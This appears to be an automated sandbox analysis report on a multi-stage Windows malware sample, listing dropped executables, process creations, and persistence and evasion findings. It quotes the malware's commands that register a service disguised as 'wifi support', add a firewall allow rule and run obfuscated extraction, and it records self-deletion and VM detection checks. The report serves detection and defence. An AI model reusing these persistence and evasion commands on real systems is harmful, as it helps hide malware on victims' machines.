Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com g	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C mkdir C:\Windows\SysWOW64\zofcwexy\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\krpafaoc.exe' C:\Windows\SysWOW64\zofcwexy\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' create zofcwexy binPath= 'C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d\'C:\Users\user\AppData\Local\Temp\6965.exe\'' type= own start= auto DisplayName= 'wifi support'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' description zofcwexy 'wifi internet conection'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' start zofcwexy	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5692 -ip 5692
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5692 -s 752
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D322.exe

Code function: 14_2_011B1F9B GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,

14_2_011B1F9B

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\C612.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\75AA.exe

Code function: 30_2_0043458A CoCreateInstance,

30_2_0043458A

Source: C:\Users\user\AppData\Local\Temp\D322.exe

14_2_011B5933

Source: C:\Users\user\AppData\Local\Temp\55AD.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com

Code function: 21_2_011E4148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

21_2_011E4148

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Windows\system32\advpack.dll,DelNodeRunDLL32 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\'

Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Mutant created: \Sessions\1\BaseNamedObjects\user987uh4b36teeorinthj
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5712:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4832:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1668:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2480:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6932:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5792:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6100:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1296:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\D322.exe

Command line argument: Kernel32.dll

14_2_011B2BF2

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\6965.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: DWVByMCYL8.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\vurugitubeh42_zogitajakuc33 koyo.pdb source: C612.exe, 0000000C.00000000.748360162.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: wextract.pdb source: D322.exe
Source:	Binary string: sMC:\lixakeyavac\luwokolilipire\puhusum55\raca_zelemamefi67.pdb source: 6965.exe, 00000018.00000000.774900669.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: wextract.pdbGCTL source: D322.exe, 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp
Source:	Binary string: C:\gevakahi_lehofugu\lolarovinak80\dodahuci vojetos\y.pdb source: 75AA.exe, 0000001E.00000000.782423204.000000000045E000.00000002.00020000.sdmp
Source:	Binary string: C:\lixakeyavac\luwokolilipire\puhusum55\raca_zelemamefi67.pdb source: 6965.exe, 00000018.00000000.774900669.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: C:\fisahajiluri\negiwelaku\hevowari\suyiyawisefat\wum_zunar.pdb source: DWVByMCYL8.exe, 00000000.00000002.665346705.000000000041E000.00000002.00020000.sdmp, DWVByMCYL8.exe, 00000001.00000000.664508586.000000000041E000.00000002.00020000.sdmp, geedrvu, 0000000A.00000002.748267512.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: C:\zijunad73\bij kazuput\guwufapo t.pdb source: 829C.exe, 00000021.00000000.788253576.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: <C:\gevakahi_lehofugu\lolarovinak80\dodahuci vojetos\y.pdb source: 75AA.exe, 0000001E.00000000.782423204.000000000045E000.00000002.00020000.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Unpacked PE file: 1.2.DWVByMCYL8.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\geedrvu	Unpacked PE file: 11.2.geedrvu.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Unpacked PE file: 13.2.C612.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Unpacked PE file: 20.2.55AD.exe.df0000.0.unpack :ER;.rsrc:R; :R;.idata:W;.themida:EW;.boot:ER; vs :ER;.rsrc:R; :R;
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Unpacked PE file: 24.2.6965.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\829C.exe	Unpacked PE file: 33.2.829C.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Obfuscated command line found

Show sources

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R '^CSBfBxeJtRnGYDtOYiuftASpEnuDCCqwzUhWlIXdUdKFIPPXatwfwfBwZaKegniBRvhrdiEfpQxNQhAPJokbAKZrzkXRXVwcpoNkBLGkALukUNkMRVzyhJquvp$' Essere.mp3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R '^CSBfBxeJtRnGYDtOYiuftASpEnuDCCqwzUhWlIXdUdKFIPPXatwfwfBwZaKegniBRvhrdiEfpQxNQhAPJokbAKZrzkXRXVwcpoNkBLGkALukUNkMRVzyhJquvp$' Essere.mp3			Jump to behavior

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_02CB2E86 push ecx; ret	0_2_02CB2E89
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_02CB1E97 push ds; ret	0_2_02CB1E9A
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_02CB2DAC push ds; ret	0_2_02CB2DAE
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_02CB215A push ds; ret	0_2_02CB215B
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_02CB2466 push ecx; retf	0_2_02CB246B
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_0040260C push ds; ret	1_2_0040260E
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_00401CC6 push ecx; retf	1_2_00401CCB
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_004026E6 push ecx; ret	1_2_004026E9
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_004016F7 push ds; ret	1_2_004016FA
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_2_004019BA push ds; ret	1_2_004019BB
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_1_0040260C push ds; ret	1_1_0040260E
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_1_00401CC6 push ecx; retf	1_1_00401CCB
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_1_004026E6 push ecx; ret	1_1_004026E9
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_1_004016F7 push ds; ret	1_1_004016FA
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 1_1_004019BA push ds; ret	1_1_004019BB
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_0040260C push ds; ret	11_2_0040260E
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_00401CC6 push ecx; retf	11_2_00401CCB
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_004026E6 push ecx; ret	11_2_004026E9
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_004016F7 push ds; ret	11_2_004016FA
Source: C:\Users\user\AppData\Roaming\geedrvu	Code function: 11_2_004019BA push ds; ret	11_2_004019BB
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_04762466 push ecx; retf	12_2_0476246B
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_0476215A push ds; ret	12_2_0476215B
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_04762DAC push ds; ret	12_2_04762DAE
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_04761E97 push ds; ret	12_2_04761E9A
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_04762E86 push ecx; ret	12_2_04762E89
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 13_2_0040260C push ds; ret	13_2_0040260E
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 13_2_00401CC6 push ecx; retf	13_2_00401CCB
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 13_2_004026E6 push ecx; ret	13_2_004026E9
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 13_2_004016F7 push ds; ret	13_2_004016FA
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 13_2_004019BA push ds; ret	13_2_004019BB
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 13_1_0040260C push ds; ret	13_1_0040260E

Source: C:\Users\user\Desktop\DWVByMCYL8.exe

Code function: 0_2_00412D70 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_00412D70

Source: D322.exe.5.dr

Static PE information: 0xB9387306 [Thu Jun 21 06:07:02 2068 UTC]

Source: 55AD.exe.5.dr	Static PE information: section name:
Source: 55AD.exe.5.dr	Static PE information: section name:
Source: 55AD.exe.5.dr	Static PE information: section name: .themida
Source: 55AD.exe.5.dr	Static PE information: section name: .boot
Source: 98D4.exe.5.dr	Static PE information: section name:
Source: 98D4.exe.5.dr	Static PE information: section name:
Source: 98D4.exe.5.dr	Static PE information: section name: .themida
Source: 98D4.exe.5.dr	Static PE information: section name: .boot

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: 55AD.exe.5.dr	Static PE information: real checksum: 0x3ae570 should be: 0x3af4a3
Source: krpafaoc.exe.24.dr	Static PE information: real checksum: 0x4ae36 should be:
Source: D322.exe.5.dr	Static PE information: real checksum: 0x112be9 should be: 0x1095ea

Source: initial sample	Static PE information: section name: entropy: 7.97602613908
Source: initial sample	Static PE information: section name: .text entropy: 7.94533762794
Source: initial sample	Static PE information: section name: entropy: 7.98923085885

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\geedrvu

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\98D4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D322.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6965.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\55AD.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C612.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\829C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\75AA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6965.exe	File created: C:\Users\user\AppData\Local\Temp\krpafaoc.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\geedrvu	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe (copy)

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\D322.exe

Code function: 14_2_011B1B04 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

14_2_011B1B04

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' create zofcwexy binPath= 'C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d\'C:\Users\user\AppData\Local\Temp\6965.exe\'' type= own start= auto DisplayName= 'wifi support'

Source: C:\Users\user\AppData\Local\Temp\6965.exe

24_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 9080 -> 49749

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\dwvbymcyl8.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\geedrvu:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_01195EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		21_2_01195EDA
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_01195EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		27_2_01195EDA

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_00401000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

24_2_00401000

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\55AD.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\55AD.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: geedrvu, 0000000B.00000002.760704140.0000000001FB0000.00000004.00000001.sdmp

Binary or memory string: ASWHOOK

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 5932	Thread sleep time: -34900s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5484	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe TID: 5552	Thread sleep time: -68000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5488	Thread sleep time: -210000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 553

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\75AA.exe

Code function: 30_2_00434D4F __EH_prolog,GetLogicalDriveStringsA,

30_2_00434D4F

Source: explorer.exe, 00000005.00000000.682794214.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.702389027.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.682794214.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
